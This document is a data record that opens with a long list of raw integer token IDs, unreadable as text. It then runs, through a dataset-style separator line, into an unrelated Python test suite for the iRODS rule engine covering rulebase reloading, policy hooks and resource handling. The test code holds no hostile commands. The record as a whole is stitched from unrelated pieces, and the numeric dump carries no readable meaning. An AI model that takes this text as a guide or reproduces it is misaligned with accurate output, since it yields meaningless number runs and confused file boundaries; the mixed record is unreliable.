29898,
13,
18884,
1583,
29889,
1256,
29918,
2962,
29892,
1583,
29889,
1256,
29918,
355,
29892,
1583,
29889,
11249,
29892,
6139,
29918,
842,
13,
9651,
1723,
13,
9651,
282,
1646,
29889,
5504,
580,
13,
13,
1678,
822,
679,
29918,
11249,
29898,
1311,
29892,
4489,
29901,
10518,
29889,
17271,
29897,
1599,
9657,
29901,
13,
4706,
9995,
2577,
2343,
29914,
18237,
11916,
2729,
373,
278,
5285,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
4489,
29901,
278,
3630,
4308,
304,
4559,
515,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
319,
9657,
411,
278,
2343,
322,
12464,
11916,
29889,
13,
4706,
9995,
13,
4706,
4559,
353,
6571,
13,
4706,
302,
29918,
2813,
353,
2295,
3366,
27736,
3108,
3366,
2813,
16862,
657,
29898,
524,
29897,
13,
4706,
565,
302,
29918,
2813,
1405,
29871,
29900,
29901,
13,
9651,
4559,
3366,
2813,
3108,
353,
4489,
29889,
2813,
29898,
29876,
29922,
29876,
29918,
2813,
29897,
13,
13,
4706,
302,
29918,
18237,
353,
2295,
3366,
27736,
3108,
3366,
18237,
16862,
657,
29898,
524,
29897,
13,
4706,
565,
302,
29918,
18237,
1405,
29871,
29900,
29901,
13,
9651,
4559,
3366,
18237,
3108,
353,
4489,
29889,
18237,
29898,
29876,
29922,
29876,
29918,
18237,
29897,
13,
13,
4706,
736,
4559,
13,
13,
1678,
822,
679,
29918,
8216,
29898,
1311,
29897,
1599,
9657,
29901,
13,
4706,
9995,
11609,
278,
6139,
313,
29874,
10650,
24148,
15837,
29897,
310,
278,
8783,
29889,
13,
308,
13,
4706,
16969,
29901,
13,
9651,
360,
919,
6943,
263,
6139,
363,
1269,
2286,
297,
278,
3630,
4308,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
29889,
8216,
29918,
842,
13,
13,
1678,
822,
679,
29918,
276,
622,
287,
29918,
20897,
29898,
1311,
29897,
1599,
731,
29901,
13,
4706,
9995,
2577,
3651,
393,
526,
22225,
363,
7418,
313,
29872,
29889,
29887,
29889,
4868,
29892,
12849,
848,
4072,
29897,
13,
13,
4706,
16969,
29901,
13,
9651,
263,
731,
310,
1897,
2983,
393,
526,
443,
23765,
13,
4706,
9995,
13,
4706,
736,
426,
13,
9651,
2643,
29889,
4914,
29918,
978,
13,
9651,
363,
2643,
297,
1583,
29889,
8216,
29918,
842,
3366,
19158,
3108,
13,
9651,
565,
2643,
29889,
4906,
29918,
1853,
1275,
7777,
1542,
29889,
1525,
17637,
3352,
13,
4706,
500,
13,
13,
1678,
822,
304,
29918,
1445,
29898,
1311,
29892,
1962,
29918,
1445,
29901,
10802,
29892,
17436,
29901,
6120,
353,
5852,
29897,
1599,
6213,
29901,
13,
4706,
9995,
6113,
278,
3461,
304,
263,
934,
29889,
13,
308,
13,
4706,
2648,
2322,
263,
1024,
338,
5759,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
1962,
29918,
1445,
29901,
450,
1024,
470,
278,
2224,
310,
278,
934,
304,
5706,
3704,
278,
6081,
14544,
1420,
29892,
869,
3126,
467,
13,
9651,
17436,
29901,
565,
7700,
29892,
13246,
278,
934,
297,
278,
2322,
4714,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
4905,
29918,
1445,
29892,
10802,
1125,
13,
9651,
1962,
29918,
1445,
353,
10802,
29898,
710,
29898,
4905,
29918,
1445,
876,
13,
13,
4706,
565,
1962,
29918,
1445,
29889,
2146,
600,
861,
1275,
11393,
1420,
1115,
13,
9651,
848,
353,
1583,
29889,
517,
29918,
1420,
580,
13,
4706,
25342,
1962,
29918,
1445,
29889,
2146,
600,
861,
1275,
11393,
3126,
1115,
13,
9651,
848,
353,
1583,
29889,
517,
29918,
3126,
580,
13,
4706,
1683,
29901,
13,
9651,
12020,
7865,
2392,
703,
17657,
451,
6969,
313,
552,
559,
671,
869,
1420,
29892,
869,
3126,
25760,
13,
13,
4706,
411,
1962,
29918,
1445,
29889,
3150,
703,
29893,
613,
8025,
543,
9420,
29947,
1159,
408,
285,
29901,
13,
9651,
285,
29889,
3539,
29898,
1272,
29897,
13,
13,
4706,
565,
451,
17436,
29901,
13,
9651,
1053,
591,
1327,
8777,
13,
13,
9651,
591,
1327,
8777,
29889,
3150,
29918,
1482,
29918,
3891,
29898,
4905,
29918,
1445,
29889,
23552,
2141,
294,
29918,
5338,
3101,
13,
13,
1678,
822,
304,
29918,
1420,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
5631,
403,
322,
736,
4866,
4472,
408,
3309,
29891,
1347,
13,
9651,
363,
773,
411,
29143,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
23202,
292,
3461,
3472,
3704,
14476,
29889,
13,
308,
13,
4706,
9995,
13,
4706,
515,
11701,
29918,
771,
1777,
292,
29889,
12276,
29889,
26081,
29889,
29888,
4112,
2470,
1053,
4544,
13020,
13,
4706,
515,
11701,
29918,
771,
1777,
292,
29889,
12276,
29889,
26081,
29889,
29888,
4112,
2470,
29889,
1420,
1053,
17475,
13,
13,
4706,
671,
29918,
2997,
29918,
16596,
353,
2295,
3366,
1420,
3108,
3366,
1509,
29918,
2997,
29918,
16596,
16862,
657,
29898,
11227,
29897,
13,
13,
4706,
3472,
353,
4544,
13020,
29898,
1311,
29889,
12276,
467,
9482,
580,
13,
13,
4706,
6283,
29918,
7076,
353,
518,
13,
9651,
313,
2042,
29889,
978,
29892,
4004,
29889,
25367,
29918,
333,
29897,
13,
9651,
363,
4004,
297,
1583,
29889,
12276,
29889,
3051,
3366,
7076,
3108,
13,
4706,
4514,
13,
4706,
396,
14402,
29901,
4337,
304,
3829,
13,
4706,
21021,
29918,
1420,
353,
17475,
29889,
6886,
703,
17699,
29914,
17699,
29889,
1420,
2564,
9482,
29898,
13,
9651,
2793,
29922,
1420,
29892,
13,
9651,
3611,
29922,
1311,
29889,
3257,
29892,
13,
9651,
6283,
29922,
2917,
3366,
1420,
3108,
3366,
21890,
29918,
4294,
16862,
657,
29898,
11227,
511,
13,
9651,
6283,
29918,
7076,
29922,
6654,
29918,
7076,
29892,
13,
9651,
1873,
29922,
1649,
3259,
1649,
29892,
13,
9651,
1283,
1220,
29922,
1509,
29918,
2997,
29918,
16596,
29892,
13,
9651,
7601,
29918,
2780,
29922,
2917,
3366,
1420,
3108,
3366,
3293,
3108,
3366,
16072,
29918,
2780,
16862,
657,
29898,
710,
511,
13,
9651,
20194,
29922,
2917,
3366,
1420,
3108,
3366,
3293,
3108,
3366,
14569,
16862,
657,
29898,
710,
511,
13,
9651,
10929,
29922,
2917,
3366,
1420,
3108,
3366,
3293,
3108,
3366,
18193,
16862,
657,
29898,
710,
511,
13,
4706,
1723,
13,
13,
4706,
1375,
1598,
29918,
1420,
353,
2295,
3366,
1420,
3108,
3366,
1195,
1598,
29918,
1420,
16862,
657,
29898,
11227,
29897,
13,
4706,
565,
1375,
1598,
29918,
1420,
29901,
13,
9651,
515,
3472,
1195,
29889,
3396,
1053,
1375,
1598,
13,
13,
9651,
21021,
29918,
1420,
353,
1375,
1598,
29898,
13,
18884,
21021,
29918,
1420,
29892,
3349,
29918,
497,
29918,
6310,
29918,
3493,
29922,
5574,
29892,
3349,
29918,
21032,
29922,
5574,
13,
9651,
1723,
13,
4706,
736,
21021,
29918,
1420,
13,
13,
1678,
822,
304,
29918,
3126,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
770,
8701,
8566,
6119,
29898,
3126,
29889,
7249,
8566,
6119,
1125,
13,
9651,
822,
2322,
29898,
1311,
29892,
288,
1125,
13,
18884,
1024,
353,
288,
17255,
1990,
1649,
17255,
978,
1649,
13,
18884,
565,
338,
8758,
29898,
29877,
29892,
10518,
29889,
3221,
29889,
13757,
29889,
19204,
29897,
470,
338,
8758,
29898,
13,
462,
1678,
288,
29892,
10518,
29889,
3221,
29889,
2557,
29889,
17271,
13,
462,
1125,
13,
462,
1678,
736,
426,
29888,
29908,
29918,
648,
978,
29913,
1649,
1115,
288,
29889,
517,
29918,
3126,
28296,
13,
18884,
565,
338,
8758,
29898,
29877,
29892,
7442,
29889,
16031,
1125,
13,
462,
1678,
736,
426,
29888,
29908,
29918,
648,
978,
29913,
1649,
1115,
288,
29889,
25027,
391,
28296,
13,
13,
18884,
736,
426,
29888,
29908,
29918,
648,
978,
29913,
1649,
1115,
851,
29898,
29877,
2915,
13,
13,
4706,
736,
4390,
29889,
29881,
17204,
29898,
1311,
29889,
8216,
29918,
842,
29892,
29536,
29922,
29946,
29892,
1067,
29879,
29922,
7281,
8566,
6119,
29897,
13,
13,
1678,
822,
304,
29918,
1333,
19273,
29918,
22000,
29898,
1311,
1125,
13,
4706,
9995,
29965,
8485,
304,
1962,
278,
4544,
8954,
304,
263,
27441,
25547,
451,
19273,
29889,
13,
4706,
1932,
2295,
29889,
1333,
19273,
29889,
22000,
29889,
12715,
338,
376,
4351,
613,
445,
740,
10017,
263,
13201,
4544,
934,
13,
4706,
297,
5050,
29914,
7050,
29914,
10185,
29918,
29961,
8568,
1822,
1420,
29952,
322,
3639,
385,
960,
3128,
13330,
304,
393,
8118,
29889,
13,
4706,
1932,
2295,
29889,
1333,
19273,
29889,
22000,
29889,
12715,
338,
376,
4351,
1514,
613,
278,
1021,
4544,
338,
11658,
287,
297,
278,
376,
4351,
1514,
29908,
5352,
310,
13,
4706,
278,
960,
3128,
29889,
13,
13,
4706,
8695,
29901,
13,
9651,
910,
6787,
1953,
24307,
4828,
411,
9476,
1259,
11949,
354,
1691,
322,
11322,
2988,
29889,
13,
4706,
9995,
13,
4706,
515,
11701,
29918,
771,
1777,
292,
29889,
12276,
29889,
26081,
29889,
29888,
4112,
2470,
29889,
8030,
29889,
1333,
19273,
1053,
313,
13,
9651,
679,
29918,
1333,
19273,
29918,
22000,
29892,
13,
4706,
1723,
13,
4706,
515,
5641,
1656,
29889,
3221,
29889,
4990,
1053,
2479,
13,
13,
4706,
2479,
29898,
657,
29918,
1333,
19273,
29918,
22000,
29898,
1311,
876,
13,
13,
1678,
822,
304,
29918,
8030,
29879,
29898,
1311,
1125,
13,
4706,
9995,
1576,
474,
4691,
451,
19273,
11109,
29879,
1404,
5067,
1213,
15945,
13,
4706,
515,
11701,
29918,
771,
1777,
292,
29889,
12276,
29889,
26081,
29889,
29888,
4112,
2470,
1053,
27080,
13020,
13,
4706,
515,
5641,
1656,
29889,
3221,
29889,
4990,
1053,
2479,
29892,
4544,
13,
13,
4706,
3461,
353,
27080,
13020,
29898,
1311,
29889,
12276,
467,
9482,
580,
13,
13,
4706,
2479,
29898,
12276,
29897,
13,
4706,
396,
14402,
29901,
4337,
304,
3461,
3829,
13,
4706,
2479,
29898,
13,
9651,
4544,
29898,
13,
18884,
525,
13020,
5759,
411,
529,
29874,
2822,
543,
991,
597,
3292,
29889,
510,
29914,
15112,
29899,
771,
1777,
292,
29914,
15112,
29899,
771,
1777,
292,
1013,
15112,
29899,
771,
1777,
292,
829,
29874,
29958,
6169,
13,
9651,
1723,
13,
4706,
1723,
13,
13,
1678,
822,
903,
276,
558,
29918,
1420,
23538,
1311,
1125,
13,
4706,
9995,
1576,
474,
4691,
451,
19273,
11109,
29879,
1404,
5067,
4947,
2000,
491,
278,
432,
786,
25547,
451,
19273,
1213,
15945,
13,
4706,
1583,
29889,
517,
29918,
1333,
19273,
29918,
22000,
580,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
9995,
4640,
577,
393,
27441,
25547,
2216,
19273,
947,
451,
1596,
278,
1203,
1213,
15945,
13,
4706,
736,
5124,
13,
13,
1678,
822,
304,
29918,
932,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
313,
1252,
27910,
29897,
10772,
17303,
29945,
1404,
5067,
29892,
451,
7960,
304,
367,
1304,
29889,
13,
4706,
887,
526,
12853,
304,
29126,
263,
8206,
2009,
565,
366,
763,
445,
4682,
29889,
13,
4706,
9995,
13,
4706,
515,
11701,
29918,
771,
1777,
292,
29889,
12276,
29889,
26081,
29889,
29888,
4112,
2470,
29889,
17915,
29889,
932,
1053,
679,
29918,
932,
13,
4706,
515,
11701,
29918,
771,
1777,
292,
29889,
12276,
29889,
26081,
29889,
29888,
4112,
2470,
1053,
14705,
13020,
13,
13,
4706,
515,
10772,
17303,
29945,
1053,
14705,
9203,
13,
4706,
515,
10772,
17303,
29945,
29889,
17303,
8801,
29879,
1053,
660,
4873,
13,
13,
4706,
623,
353,
14705,
9203,
29889,
29984,
9203,
4873,
29889,
8758,
580,
13,
4706,
565,
623,
338,
6213,
29901,
13,
9651,
623,
353,
660,
4873,
4197,
2314,
13,
13,
4706,
623,
29918,
8030,
29879,
353,
14705,
13020,
29898,
1311,
29889,
12276,
467,
9482,
580,
13,
13,
4706,
623,
353,
679,
29918,
932,
29898,
932,
29892,
1583,
29889,
3257,
29892,
623,
29918,
8030,
29879,
29897,
13,
2
] |
scripts/irods/test/test_rulebase.py | BuildJet/irods | 1 | 196875 | from __future__ import print_function
import sys
if sys.version_info >= (2, 7):
import unittest
else:
import unittest2 as unittest
import copy
import inspect
import json
import os
import socket
import tempfile
import time # remove once file hash fix is commited #2279
import subprocess
from .. import lib
from .. import paths
from .. import test
from . import settings
from .resource_suite import ResourceBase
from ..configuration import IrodsConfig
from ..controller import IrodsController
from ..core_file import temporary_core_file
from .rule_texts_for_tests import rule_texts
class Test_Rulebase(ResourceBase, unittest.TestCase):
plugin_name = IrodsConfig().default_rule_engine_plugin
class_name = 'Test_Rulebase'
def setUp(self):
super(Test_Rulebase, self).setUp()
def tearDown(self):
super(Test_Rulebase, self).tearDown()
def test_client_server_negotiation__2564(self):
with temporary_core_file() as core:
time.sleep(1) # remove once file hash fix is committed #2279
core.add_rule(rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name])
time.sleep(1) # remove once file hash fix is committed #2279
client_update = {
'irods_client_server_policy': 'CS_NEG_REFUSE'
}
session_env_backup = copy.deepcopy(self.admin.environment_file_contents)
self.admin.environment_file_contents.update(client_update)
self.admin.assert_icommand( 'ils','STDERR_SINGLELINE','CLIENT_NEGOTIATION_ERROR')
self.admin.environment_file_contents = session_env_backup
def test_msiDataObjWrite__2795(self):
rule_file = "test_rule_file.r"
rule_string = rule_texts[self.plugin_name][self.class_name]['test_msiDataObjWrite__2795_1'] + self.admin.session_collection + rule_texts[self.plugin_name][self.class_name]['test_msiDataObjWrite__2795_2']
with open(rule_file, 'wt') as f:
print(rule_string, file=f, end='')
test_file = self.admin.session_collection+'/test_file.txt'
self.admin.assert_icommand('irule -F ' + rule_file)
self.admin.assert_icommand('ils -l','STDOUT_SINGLELINE','test_file')
self.admin.assert_icommand('iget -f '+test_file)
with open("test_file.txt", 'r') as f:
file_contents = f.read()
assert( not file_contents.endswith('\0') )
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_irods_re_infinite_recursion_3169(self):
with temporary_core_file() as core:
time.sleep(1) # remove once file hash fix is committed #2279
core.add_rule(rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name])
time.sleep(1) # remove once file hash fix is committed #2279
test_file = 'rulebasetestfile'
lib.touch(test_file)
self.admin.assert_icommand(['iput', test_file])
def test_acPostProcForPut_replicate_to_multiple_resources(self):
# create new resources
hostname = socket.gethostname()
self.admin.assert_icommand("iadmin mkresc r1 unixfilesystem " + hostname + ":/tmp/irods/r1", 'STDOUT_SINGLELINE', "Creating")
self.admin.assert_icommand("iadmin mkresc r2 unixfilesystem " + hostname + ":/tmp/irods/r2", 'STDOUT_SINGLELINE', "Creating")
tfile = "rulebasetestfile"
try:
with temporary_core_file() as core:
time.sleep(1) # remove once file hash fix is committed #2279
core.add_rule(rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name])
time.sleep(1) # remove once file hash fix is committed #2279
# put data
lib.touch(tfile)
self.admin.assert_icommand(['iput', tfile])
# check replicas
self.admin.assert_icommand(['ils', '-L', tfile], 'STDOUT_MULTILINE', [' demoResc ', ' r1 ', ' r2 '])
time.sleep(2) # remove once file hash fix is commited #2279
finally:
# clean up and remove new resources
self.admin.run_icommand("irm -rf " + tfile)
self.admin.assert_icommand("iadmin rmresc r1")
self.admin.assert_icommand("iadmin rmresc r2")
def test_dynamic_pep_with_rscomm_usage(self):
with temporary_core_file() as core:
time.sleep(1) # remove once file hash fix is committed #2279
core.add_rule(rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name])
time.sleep(1) # remove once file hash fix is committed #2279
# check rei functioning
self.admin.assert_icommand("iget " + self.testfile + " - ", 'STDOUT_SINGLELINE', self.testfile)
@unittest.skipIf(test.settings.TOPOLOGY_FROM_RESOURCE_SERVER, 'Skip for topology testing from resource server: reads re server log')
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'tests cache update - only applicable for irods_rule_language REP')
def test_rulebase_update__2585(self):
my_rule = rule_texts[self.plugin_name][self.class_name]['test_rulebase_update__2585_1']
rule_file = 'my_rule.r'
with open(rule_file, 'wt') as f:
print(my_rule, file=f, end='')
server_config_filename = paths.server_config_path()
# load server_config.json to inject a new rule base
with open(server_config_filename) as f:
svr_cfg = json.load(f)
# inject a new rule base into the native rule engine
svr_cfg['plugin_configuration']['rule_engines'][0]['plugin_specific_configuration']['re_rulebase_set'] = ["test", "core"]
# dump to a string to repave the existing server_config.json
new_server_config=json.dumps(svr_cfg, sort_keys=True,indent=4, separators=(',', ': '))
with lib.file_backed_up(paths.server_config_path()):
test_re = os.path.join(paths.core_re_directory(), 'test.re')
# write new rule file to config dir
with open(test_re, 'wt') as f:
print(rule_texts[self.plugin_name][self.class_name]['test_rulebase_update__2585_2'], file=f, end='')
# repave the existing server_config.json
with open(server_config_filename, 'w') as f:
f.write(new_server_config)
IrodsController().restart()
# checkpoint log to know where to look for the string
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand('irule -F ' + rule_file)
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'TEST_STRING_TO_FIND_1_2585', start_index=initial_log_size))
# repave rule with new string
os.unlink(test_re)
with open(test_re, 'wt') as f:
print(rule_texts[self.plugin_name][self.class_name]['test_rulebase_update__2585_3'], file=f, end='')
# checkpoint log to know where to look for the string
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand('irule -F ' + rule_file)
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'TEST_STRING_TO_FIND_2_2585', start_index=initial_log_size))
# cleanup
IrodsController().restart()
os.unlink(test_re)
os.unlink(rule_file)
@unittest.skipIf(test.settings.TOPOLOGY_FROM_RESOURCE_SERVER, 'Skip for topology testing from resource server: reads re server log')
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'tests cache update - only applicable for irods_rule_language REP')
def test_update_core_multiple_agents__3184(self):
with temporary_core_file() as core:
for l in range(100):
time.sleep(1) # remove once file hash fix is committed #2279
core.add_rule("multiple_agents {}")
time.sleep(1) # remove once file hash fix is committed #2279
processes = []
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
for i in range(100):
processes.append(subprocess.Popen(["ils"]))
for p in processes:
p.wait()
lib.delayAssert(
lambda: lib.log_message_occurrences_equals_count(
msg='stack trace',
count=0,
start_index=initial_log_size))
@unittest.skipIf(test.settings.TOPOLOGY_FROM_RESOURCE_SERVER, 'Skip for topology testing from resource server: reads re server log')
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'tests cache update - only applicable for irods_rule_language REP')
def test_fast_updates__2279(self):
fastswap_test_script = os.path.join('/var', 'lib', 'irods', 'scripts', 'rulebase_fastswap_test_2276.sh')
rc, _, _ = self.admin.assert_icommand(['bash', fastswap_test_script], 'STDOUT_SINGLELINE', 'etc')
assert rc == 0
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'tests cache update - only applicable for irods_rule_language REP')
def test_rulebase_update_without_delay(self):
my_rule = rule_texts[self.plugin_name][self.class_name]['test_rulebase_update_without_delay_1']
rule_file = 'my_rule.r'
with open(rule_file, 'wt') as f:
print(my_rule, file=f, end='')
server_config_filename = paths.server_config_path()
# load server_config.json to inject a new rule base
with open(server_config_filename) as f:
svr_cfg = json.load(f)
# inject a new rule base into the native rule engine
svr_cfg['plugin_configuration']['rule_engines'][0]['plugin_specific_configuration']['re_rulebase_set'] = ["test", "core"]
# dump to a string to repave the existing server_config.json
new_server_config=json.dumps(svr_cfg, sort_keys=True,indent=4, separators=(',', ': '))
with lib.file_backed_up(paths.server_config_path()):
test_re = os.path.join(paths.core_re_directory(), 'test.re')
# write new rule file to config dir
with open(test_re, 'wt') as f:
print(rule_texts[self.plugin_name][self.class_name]['test_rulebase_update_without_delay_2'], file=f, end='')
# repave the existing server_config.json
with open(server_config_filename, 'w') as f:
f.write(new_server_config)
# checkpoint log to know where to look for the string
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand('irule -F ' + rule_file)
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'TEST_STRING_TO_FIND_1_NODELAY', start_index=initial_log_size))
time.sleep(5) # ensure modify time is sufficiently different
# repave rule with new string
os.unlink(test_re)
with open(test_re, 'wt') as f:
print(rule_texts[self.plugin_name][self.class_name]['test_rulebase_update_without_delay_3'], file=f, end='')
# checkpoint log to know where to look for the string
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand('irule -F ' + rule_file)
#time.sleep(35) # wait for test to fire
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'TEST_STRING_TO_FIND_2_NODELAY', start_index=initial_log_size))
# cleanup
os.unlink(test_re)
os.unlink(rule_file)
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Python REP does not guarantee argument preservation')
def test_argument_preservation__3236(self):
with tempfile.NamedTemporaryFile(suffix='.r') as f:
rule_string = rule_texts[self.plugin_name][self.class_name]['test_argument_preservation__3236']
f.write(rule_string)
f.flush()
self.admin.assert_icommand('irule -F ' + f.name, 'STDOUT_SINGLELINE', 'AFTER arg1=abc arg2=def arg3=ghi')
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'Skip for non-rule-language REP')
def test_rulebase_update_sixty_four_chars__3560(self):
irods_config = IrodsConfig()
server_config_filename = irods_config.server_config_path
# load server_config.json to inject a new rule base
with open(server_config_filename) as f:
svr_cfg = json.load(f)
# inject several new rules into the native rule engine
svr_cfg['plugin_configuration']['rule_engines'][0]['plugin_specific_configuration']['re_rulebase_set'] = [
"rulefile1", "rulefile2", "rulefile3", "rulefile4", "rulefile5", "rulefile6", "rulefile7","rulefile8", "core"]
# dump to a string to repave the existing server_config.json
new_server_config = json.dumps(svr_cfg, sort_keys=True, indent=4, separators=(',', ': '))
with lib.file_backed_up(irods_config.server_config_path):
rulefile1 = os.path.join(irods_config.core_re_directory, 'rulefile1.re')
rulefile2 = os.path.join(irods_config.core_re_directory, 'rulefile2.re')
rulefile3 = os.path.join(irods_config.core_re_directory, 'rulefile3.re')
rulefile4 = os.path.join(irods_config.core_re_directory, 'rulefile4.re')
rulefile5 = os.path.join(irods_config.core_re_directory, 'rulefile5.re')
rulefile6 = os.path.join(irods_config.core_re_directory, 'rulefile6.re')
rulefile7 = os.path.join(irods_config.core_re_directory, 'rulefile7.re')
rulefile8 = os.path.join(irods_config.core_re_directory, 'rulefile8.re')
# write new rule files to config dir
with open(rulefile1, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile2, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile3, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile4, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile5, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile6, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile7, 'wt') as f:
print('dummyRule{ }', file=f, end='')
with open(rulefile8, 'wt') as f:
print('acPostProcForPut{ writeLine( "serverLog", "TEST_STRING_TO_FIND_DEFECT_3560" ); }', file=f, end='')
# repave the existing server_config.json
with open(server_config_filename, 'w') as f:
f.write(new_server_config)
IrodsController().restart()
# checkpoint log to know where to look for the string
initial_log_size = lib.get_file_size_by_path(irods_config.server_log_path)
filename = "defect3560.txt"
filepath = lib.create_local_testfile(filename)
put_resource = self.testresc
self.user0.assert_icommand("iput -R {put_resource} {filename}".format(**locals()), "EMPTY")
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(irods_config.server_log_path,
"TEST_STRING_TO_FIND_DEFECT_3560", start_index=initial_log_size))
# cleanup
IrodsController().restart()
os.unlink(rulefile1)
os.unlink(rulefile2)
os.unlink(rulefile3)
os.unlink(rulefile4)
os.unlink(rulefile5)
os.unlink(rulefile6)
os.unlink(rulefile7)
os.unlink(rulefile8)
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only applicable for irods_rule_language REP')
def test_acPreProcForExecCmd__3867(self):
with temporary_core_file() as core:
core.add_rule('acPreProcForExecCmd(*cmd, *args, *addr, *hint){ writeLine("serverLog", "TEST_MARKER_test_acPreProcForExecCmd__3867")}')
rule_file = 'test_acPreProcForExecCmd__3867.r'
rule_string = '''
test_acPreProcForExecCmd__3867_rule {
msiExecCmd('hello', '', '', '', '', *out)
}
INPUT null
OUTPUT ruleExecOut
'''
with open(rule_file, 'w') as f:
f.write(rule_string)
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand('irule -F ' + rule_file)
os.unlink(rule_file)
lib.delayAssert(
lambda: lib.log_message_occurrences_equals_count(
msg='TEST_MARKER_test_acPreProcForExecCmd__3867',
start_index=initial_log_size))
@unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only run for native rule language')
def test_create_close__issue_5018(self):
parameters = {}
logical_path = os.path.join(self.admin.session_collection, 'test_create_close__issue_5018')
parameters['logical_path'] = logical_path
rule_file = os.path.join(self.admin.local_session_dir, 'test_create_close__issue_5018.r')
rule_string = rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name].format(**parameters)
with open(rule_file, 'w') as f:
f.write(rule_string)
self.admin.assert_icommand(['irule', '-F', rule_file], 'STDOUT', 'created [{}]'.format(logical_path))
os.unlink(rule_file)
self.admin.assert_icommand(['iadmin', 'ls', 'logical_path', logical_path, 'replica_number', '0'], 'STDOUT', 'DATA_REPL_STATUS: 1')
@unittest.skipIf(test.settings.TOPOLOGY_FROM_RESOURCE_SERVER, 'Skip for topology testing from resource server: reads rods server log')
class Test_Resource_Session_Vars__3024(ResourceBase, unittest.TestCase):
plugin_name = IrodsConfig().default_rule_engine_plugin
class_name = 'Test_Resource_Session_Vars__3024'
def setUp(self):
super(Test_Resource_Session_Vars__3024, self).setUp()
# get PEP name
self.pep_name = self._testMethodName.split('_')[1]
# make large test file
self.large_file = '/tmp/largefile'
lib.make_file(self.large_file, '64M', 'arbitrary')
def tearDown(self):
del self.pep_name
# remove large test file
os.unlink(self.large_file)
super(Test_Resource_Session_Vars__3024, self).tearDown()
def test_acPostProcForPut(self):
self.pep_test_helper(commands=['iput -f {testfile}'])
def test_acSetNumThreads(self):
rule_body = rule_texts[self.plugin_name][self.class_name]['test_acSetNumThreads']
self.pep_test_helper(commands=['iput -f {large_file}'], rule_body=rule_body)
def test_acDataDeletePolicy(self):
self.pep_test_helper(precommands=['iput -f {testfile}'], commands=['irm -f {testfile}'])
def test_acPostProcForDelete(self):
self.pep_test_helper(precommands=['iput -f {testfile}'], commands=['irm -f {testfile}'])
def test_acSetChkFilePathPerm(self):
# regular user will try to register a system file
# e.g: /var/lib/irods/VERSION.json
path_to_register = paths.version_path()
commands = [('ireg {path_to_register} {{target_obj}}'.format(**locals()), 'STDERR_SINGLELINE', 'PATH_REG_NOT_ALLOWED')]
self.pep_test_helper(commands=commands, target_name=os.path.basename(path_to_register))
def test_acPostProcForFilePathReg(self):
# admin user will register a file
sess=self.admin
# make new physical file in user's vault
reg_file_path = os.path.join(sess.get_vault_session_path(), 'reg_test_file')
lib.make_dir_p(os.path.dirname(reg_file_path))
lib.touch(reg_file_path)
commands = ['ireg {reg_file_path} {{target_obj}}'.format(**locals())]
self.pep_test_helper(commands=commands, target_name=os.path.basename(reg_file_path), user_session=sess)
def test_acPostProcForCopy(self):
self.pep_test_helper(precommands=['iput -f {testfile}'], commands=['icp {testfile} {testfile}_copy'])
def test_acSetVaultPathPolicy(self):
self.pep_test_helper(commands=['iput -f {testfile}'])
def test_acPreprocForDataObjOpen(self):
client_rule = rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name]
self.pep_test_helper(precommands=['iput -f {testfile}'], commands=['irule -F {client_rule_file}'], client_rule=client_rule)
def test_acPostProcForOpen(self):
# prepare rule file
client_rule = rule_texts[self.plugin_name][self.class_name][inspect.currentframe().f_code.co_name]
self.pep_test_helper(precommands=['iput -f {testfile}'], commands=['irule -F {client_rule_file}'], client_rule=client_rule)
def get_resource_property_list(self, session):
# query for resource properties
columns = ('RESC_ZONE_NAME, '
'RESC_FREE_SPACE, '
'RESC_STATUS, '
'RESC_ID, '
'RESC_NAME, '
'RESC_TYPE_NAME, '
'RESC_LOC, '
'RESC_CLASS_NAME, '
'RESC_VAULT_PATH, '
'RESC_INFO, '
'RESC_COMMENT, '
'RESC_CREATE_TIME, '
'RESC_MODIFY_TIME')
resource = session.default_resource
